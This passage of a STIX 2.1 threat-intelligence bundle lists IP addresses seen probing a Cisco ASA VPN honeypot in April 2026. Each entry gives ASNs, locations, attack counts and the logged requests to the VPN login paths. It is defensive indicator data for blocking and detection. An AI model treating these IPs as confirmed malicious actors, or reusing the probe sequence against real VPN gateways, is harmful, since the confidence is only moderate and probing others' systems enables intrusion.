          "first_seen": "2026-04-30T03:46:11.659Z",
          "last_seen": "2026-04-30T03:46:21.239Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--d24e4c72-269d-4049-b23c-c2a9d9bb2e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:34:24.541Z",
          "last_seen": "2026-04-30T03:34:24.541Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7e3fa205-1035-4692-a98c-f0f58a261023",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:27:55.353Z",
          "last_seen": "2026-04-30T03:27:55.353Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--ece39427-11bd-4b57-82db-c2d590352783",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:32:20.574Z",
          "last_seen": "2026-04-30T03:32:20.574Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--765cf875-b510-452d-9ef3-e6e29ba9cd98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:30:14.166Z",
          "last_seen": "2026-04-30T03:30:14.166Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e1009262-4033-4e07-b1c1-daf390637dc2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:32:16.221Z",
          "last_seen": "2026-04-30T03:32:16.221Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fd77d66a-6b60-47df-b6bb-5aeb606715f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T03:30:14.507Z",
          "last_seen": "2026-04-30T03:30:14.507Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:20:10.000Z",
      "valid_until": "2026-06-01T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-30T04:49:35.734Z",
          "last_seen": "2026-04-30T04:49:38.737Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--b05d0bde-7b49-49b7-80ac-b4247fecd10a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:20:10.000Z",
      "valid_until": "2026-06-01T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-30T04:36:39.019Z",
          "last_seen": "2026-04-30T04:36:46.916Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-04-30T23:51:49.233807+00:00",
    "sensor": "ciscoasa",
    "sensor_type": "firewall_vpn_honeypot",
    "month": "2026-04",
    "ip_count": 1666,
    "total_attacks": 23820,
    "indicators_enriched": 1666
  },
  "x_nadsec_ip_context": {
    "37.19.221.153": {
      "attack_count": 42,
      "first_seen": "2026-04-16T05:11:33.922Z",
      "last_seen": "2026-04-30T02:44:54.035Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "173.249.255.104": {
      "attack_count": 33,
      "first_seen": "2026-04-10T17:01:09.784Z",
      "last_seen": "2026-04-29T22:44:33.093Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.101.61": {
      "attack_count": 30,
      "first_seen": "2026-04-08T18:22:51.611Z",
      "last_seen": "2026-04-27T13:04:35.302Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.109": {
      "attack_count": 30,
      "first_seen": "2026-04-08T23:15:48.091Z",
      "last_seen": "2026-04-29T16:58:28.496Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.130.184.152": {
      "attack_count": 30,
      "first_seen": "2026-04-12T02:42:48.705Z",
      "last_seen": "2026-04-15T05:23:56.096Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "136.234.143.119": {
      "attack_count": 28,
      "first_seen": "2026-04-13T00:57:48.080Z",
      "last_seen": "2026-04-13T16:52:43.494Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.182.73": {
      "attack_count": 28,
      "first_seen": "2026-04-13T01:57:23.056Z",
      "last_seen": "2026-04-15T04:29:09.195Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.234.105.109": {
      "attack_count": 27,
      "first_seen": "2026-04-11T06:54:24.598Z",
      "last_seen": "2026-04-29T15:06:01.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.102.233": {
      "attack_count": 24,
      "first_seen": "2026-04-10T15:07:14.482Z",
      "last_seen": "2026-04-25T16:03:14.302Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.166.218": {
      "attack_count": 22,
      "first_seen": "2026-04-21T15:01:18.910Z",
      "last_seen": "2026-04-24T20:08:59.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.98.185": {
      "attack_count": 22,
      "first_seen": "2026-04-08T10:57:17.421Z",
      "last_seen": "2026-04-30T01:10:46.396Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.81": {
      "attack_count": 21,
      "first_seen": "2026-04-08T16:17:48.328Z",
      "last_seen": "2026-04-30T01:47:57.835Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "166.1.168.9": {
      "attack_count": 21,
      "first_seen": "2026-04-13T02:27:11.049Z",
      "last_seen": "2026-04-14T01:29:31.749Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.111.106": {
      "attack_count": 21,
      "first_seen": "2026-04-08T14:53:28.492Z",
      "last_seen": "2026-04-24T15:36:32.896Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.157": {
      "attack_count": 21,
      "first_seen": "2026-04-11T00:50:06.706Z",
      "last_seen": "2026-04-27T11:09:37.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.227": {
      "attack_count": 21,
      "first_seen": "2026-04-16T04:21:14.808Z",
      "last_seen": "2026-04-27T11:16:22.626Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.236": {
      "attack_count": 21,
      "first_seen": "2026-04-15T09:46:09.099Z",
      "last_seen": "2026-04-29T21:01:07.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.251.26.100": {
      "attack_count": 18,
      "first_seen": "2026-04-13T09:56:31.841Z",
      "last_seen": "2026-04-29T23:00:06.118Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.81.231.227": {
      "attack_count": 18,
      "first_seen": "2026-04-10T19:03:43.887Z",
      "last_seen": "2026-04-27T09:38:18.401Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.165.176": {
      "attack_count": 18,
      "first_seen": "2026-04-13T15:03:11.172Z",
      "last_seen": "2026-04-25T08:54:58.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.166.179": {
      "attack_count": 18,
      "first_seen": "2026-04-18T20:34:20.287Z",
      "last_seen": "2026-04-30T05:41:32.199Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "149.40.50.104": {
      "attack_count": 18,
      "first_seen": "2026-04-08T09:58:27.203Z",
      "last_seen": "2026-04-29T09:23:11.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.213.193.61": {
      "attack_count": 18,
      "first_seen": "2026-04-13T09:01:52.513Z",
      "last_seen": "2026-04-25T10:17:22.921Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.103.106": {
      "attack_count": 18,
      "first_seen": "2026-04-08T10:15:17.207Z",
      "last_seen": "2026-04-15T11:23:54.782Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.188": {
      "attack_count": 18,
      "first_seen": "2026-04-08T21:15:10.512Z",
      "last_seen": "2026-04-29T14:56:10.695Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.59": {
      "attack_count": 18,
      "first_seen": "2026-04-10T17:03:05.625Z",
      "last_seen": "2026-04-29T01:19:47.625Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "156.233.100.93": {
      "attack_count": 15,
      "first_seen": "2026-04-13T04:32:56.213Z",
      "last_seen": "2026-04-13T12:43:24.075Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.107.185": {
      "attack_count": 15,
      "first_seen": "2026-04-25T15:03:22.428Z",
      "last_seen": "2026-04-29T14:46:06.416Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.175": {
      "attack_count": 15,
      "first_seen": "2026-04-10T17:38:38.729Z",
      "last_seen": "2026-04-27T18:54:52.531Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.71": {
      "attack_count": 15,
      "first_seen": "2026-04-10T12:49:41.805Z",
      "last_seen": "2026-04-28T03:24:48.781Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.233": {
      "attack_count": 15,
      "first_seen": "2026-04-09T01:20:12.823Z",
      "last_seen": "2026-04-29T21:17:58.889Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
